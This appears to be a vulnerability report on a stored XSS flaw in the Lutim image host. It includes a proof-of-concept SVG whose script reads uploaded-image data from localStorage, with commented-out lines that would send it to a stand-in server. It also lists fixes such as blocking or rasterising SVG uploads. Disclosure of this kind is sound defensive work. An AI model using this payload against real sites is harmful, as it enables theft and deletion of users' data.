Skip to content

XSS vulnerability using SVG image

Lutim is vulnerable to an XSS attack using the ability of SVG to contain Javascript. This is particularly severe because the data of uploaded images are stored on localStorage.

Here is possible exploit for it:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    var files = JSON.parse(localStorage.getItem('images'));
    // var server = "https://myserver.com?url="
    files.forEach(function(element, index, array) {
        var filename = element.filename ;
        var url = element.short+'.'+element.ext ;
        alert(filename+' at URL: https://framapic.org/'+url) ;
        // var xmlHttp = new XMLHttpRequest();
        // xmlHttp.open("GET", server+url, false);
        // xmlHttp.send(null);
    });
  </script>
</svg>

How to:

  • someone open a malicious svg in the browser
  • as the svg file is hosted on the same domain name, it has access to localStorage data
  • an attacker can read the following elements for all the uploaded images by the target: filename, view url, url to delete the image, send date, expire date
  • then an attacker can send all the data on a remote server, or simply delete all the images of the target hosted on Lutim

Possible workarounds:

  • disable svg upload
  • disable the viewing of svg and force download
  • filter svg files (very complicated!)
  • convert svg into a bitmap format
  • disable localStorage (which will leave possible other XSS)

Source: https://www.grepular.com/Scalable_Vector_Graphics_and_XSS